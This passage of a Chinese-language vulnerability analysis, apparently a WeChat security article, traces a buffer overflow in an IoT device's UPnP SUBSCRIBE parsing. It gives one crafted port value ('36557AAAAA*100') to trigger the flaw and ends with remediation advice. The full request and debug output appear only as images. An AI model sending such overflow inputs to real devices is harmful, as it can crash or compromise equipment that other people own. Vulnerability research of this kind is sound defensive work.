break-word !important;">此次的漏洞成因就是在通过对IOT设备进行订阅时，对参数解析不正确造成缓冲区溢出。</span></p><p style="margin-bottom: 16px;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">分析</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">upnp</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">处理的请求，当程序收到订阅的请求时，</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">ProcessHttpQuery_upnphttp</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">函数负责进行处理。</span><span style="letter-spacing: 0.544px;text-indent: 0em;"></span></p><p style="margin-bottom: 16px;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><o:p><img class="rich_pages wxw-img" data-backh="213" data-backw="578" data-galleryid="" data-ratio="0.367816091954023" data-s="300,640" style="text-align: center;white-space: normal;width: 100%;height: auto;" data-type="png" data-w="696" src="https://wechat2rss.xlab.app/img-proxy/?k=827c59bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQVdTRRJicJ2azEOTmTY3OafzuBhEibicCNYFEfiaOVwWPgNicHYiaibn29Q8dMrwj4gz6PiaiaZx5nKhxVEoQ%2F640%3Fwx_fmt%3Dpng"/></o:p></p><p style="margin-bottom: 16px;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">在第8行，函数UPnPProcessSUBSCRIBE会解析存储在结构体upnphttp中的HTTP请求，然后将其填充到提供的结构体process_upnp_subscription的字段中。</span><o:p></o:p></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="266" data-backw="578" data-galleryid="" data-ratio="0.46013986013986014" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="715" src="https://wechat2rss.xlab.app/img-proxy/?k=81e70305&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQVdTRRJicJ2azEOTmTY3OafgmUvmFza68OLhic0ylGiadQf1CfFXicWicfWAK9qGtgNAYS3BD6l9ZHX0g%2F640%3Fwx_fmt%3Dpng"/><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"></span></p><p style="margin-bottom: 16px;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">ParseSUBSCRIBEPacket函数解析HTTP请求行。它首先验证URL是否是有效的事件URL，检查主机标头是否对应于自己的IP和端口，最后通过调用GetIPandPortandCallBack从回调标头值中提取IP和端口号。</span><o:p></o:p></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="965" data-backw="578" data-galleryid="" data-ratio="1.6695526695526695" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="693" src="https://wechat2rss.xlab.app/img-proxy/?k=738ded01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQVdTRRJicJ2azEOTmTY3OafznCMmibEaicjSp9icPv31o7ojZbMoC8CD5zxibJ57u0icjEyl0vXs1hQfgw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 16px;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">接下来函数调用GetIPandPortandCallback函数对请求的port参数进行处理，另外函数还对协议是否合理进行检测，开头为以<a href="http://请求以及SUBSCRIBE开头，http:ip:port是否规范等，检验是否为" target="_blank">http://请求以及SUBSCRIBE开头，http:ip:port是否规范等，检验是否为</a></span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="http://ip:port" target="_blank">http://ip:port</a></span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">并把port的值通过atoi函数转换成一个整数，这里由于校验不完整可以构造一个port的参数36557AAAAA*100，拷贝的port的缓冲区中造成溢出。</span><o:p></o:p></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="355" data-backw="578" data-galleryid="" data-ratio="0.6136363636363636" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="660" src="https://wechat2rss.xlab.app/img-proxy/?k=6ee3a85b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQVdTRRJicJ2azEOTmTY3OafPicEzHlInmeLwZ1PFUlpicr5vVPzxibnFq9ZibODIeyjxDJbRFrLgxCY4A%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 16px;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">可以构造如下请求进行溢出，</span><o:p></o:p></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="200" data-backw="578" data-galleryid="" data-ratio="0.345821325648415" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="694" src="https://wechat2rss.xlab.app/img-proxy/?k=a3d34fc4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQVdTRRJicJ2azEOTmTY3Oaf7oBa62yAibZMXdQv1Q1c9C6XSKicnP8WFrqW0h6euECPpiboPFAhu29cA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 16px;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">调试结果：</span><o:p></o:p></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="236" data-backw="578" data-galleryid="" data-ratio="0.4074074074074074" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bc4627e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQVdTRRJicJ2azEOTmTY3OafdibumJEgs22nicHzOxfsFiaQGxqXhOIYdNib9h7flBJbTlN6Wyia2ww129Q%2F640%3Fwx_fmt%3Dpng"/></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">修复方案及防护措施</span></h2><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">1、进行软件更新、固件升级：打开路由器的管理界面，通常是在浏览器中输入路由器的IP地址来访问。在管理界面中，寻找固件更新选项，进行固件更新。</span><o:p></o:p></p><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">2、更改设备默认凭据：IoT 设备都具有默认的用户名和密码。更改这些默认凭据，并使用强密码来保护设备</span><o:p></o:p></p><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">3、确保网络安全：确保网络的安全性也是非常重要的。可以通过使用网络防火墙、访问控制列表和加密来保护网络。</span><o:p></o:p></p><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">4、定期更新：定期更新 IoT 设备的软件和固件可以确保设备的安全性和性能。</span><o:p></o:p></p><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;"><br/></span></p><section style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: center;width: 677px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;max-width: 100%;width: 6px;height: 6px;transform: translateX(14px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d6229ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FasLg7via5ibAkf1mRkpS4IuZibZE5eeC0t8nibIZBfZEekibOEZVWyf9jHzIVvT2sTzKS1OtZzSBErxJUZXD1AwAAWw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section data-mid="" mpa-from-tpl="t" style="padding-right: 4px;padding-left: 4px;outline: 0px;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p data-mid="" msthash="2289326" msttexthash="12647050" style="padding-right: 16px;padding-left: 16px;outline: 0px;max-width: 100%;font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(27, 110, 201);line-height: 20px;border-bottom: 1px solid rgb(27, 110, 201);text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;">往期回顾</p></section><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;max-width: 100%;width: 6px;height: 6px;transform: translateX(-14px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb9bc775&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FicjDF5uGXY5ibE0P0Mtzns3KNb5hsCIKPfMIRultHDbmzgJcDaibI4wNKM6ZloyGRtRovyXtVdv3SuuVOcmA8gn8A%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section><h1 style="margin-bottom: 14px;outline: 0px;font-size: 22px;line-height: 1.4;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485086&amp;idx=1&amp;sn=440ac37456efd0056eab04e265a2b3bc&amp;chksm=c0ddfceff7aa75f9ef7b01543a1521d99fc18a7ed81293f393090f2385eee83d1a44e89ffaab&amp;scene=21#wechat_redirect" textvalue="VMware vRealize Log HTTP服务两个漏洞分析" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="font-size: 14px;">VMware vRealize Log HTTP服务两个漏洞分析</span></a></h1><h1 style="margin-bottom: 14px;font-size: 22px;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;line-height: 1.4;color: rgb(34, 34, 34);text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485056&amp;idx=1&amp;sn=7c2c0272b9ba81a5f2aceac47fd6176e&amp;chksm=c0ddfcf1f7aa75e73d0a1377a555ea279cc38ccb60143a4993a3ea6cc159166c12879b896fe0&amp;scene=21#wechat_redirect" textvalue="通过机器学习和反编译来检测恶意样本代码重用" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">通过机器学习和反编译来检测恶意样本代码重用</span></a></h1><h1 style="margin-bottom: 14px;outline: 0px;font-size: 22px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;color: rgb(34, 34, 34);line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485038&amp;idx=1&amp;sn=3854168edee727201558bcc013be8b4f&amp;chksm=c0ddfc1ff7aa7509c0fe81ab2ee479b92d4a9f5e87a99e08f8784ce78efe2b05fcf31f0588c7&amp;scene=21#wechat_redirect" textvalue="二进制代码相似性检测也能对抗？" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">二进制代码相似性检测也能对抗？</span></a></h1><p style="outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43333333333333335" data-s="300,640" style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 194px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9bdadcd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7lCiaSMMkhia4WIkRNZHTwq8jJicy27jdbWa7ED26252RGmSPRE0rmHQsgZ6ZoichVyFNlvhLelZS09a194B9dyoAQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="438322" msttexthash="46068516" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);letter-spacing: 2px;box-sizing: border-box !important;overflow-wrap: break-word !important;">引领智能网络攻防科技</span></section><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthidden="1" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-copyright="0" data-ratio="0.0734375" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 544px !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=530afaf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCD1iaLIMEhibPv9rc3gdLj3g6fiaAcCZqIicylIMVKlbvd5ic5usJ2oia9cTgavs6BwQpEEYbfglc82kCJ0Qic3OHMEaw%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></span></section><section data-brushtype="text" style="margin: 15px 1em;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><mp-common-profile data-index="0" data-id="MzU5ODE2NDA3NA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/7lCiaSMMkhia7dpwexuaibUE3Eb0z03gPLaYB4PHo7G8BE9eAlRk9NoXRfjDMAxXV0OSYSdZS7KPqic8GNUkqxch7g/0?wx_fmt=png" data-nickname="墨云安全" data-alias="moyunsec" data-signature="墨云科技，更智能的网络攻防！" data-origin_num="37" data-is_biz_ban="0" data-isban="0" class="js_wx_tap_highlight" data-from="2" has-insert-preloading="1" data-weui-theme="light" data-biz_account_status="0"></mp-common-profile></section><section msthash="837304" msttexthash="11380889" style="margin-top: 15px;margin-bottom: 10px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;">点击</span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: start;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(99, 121, 161);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">在看</strong></span></section><section style="margin-top: 5px;margin-bottom: 15px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: 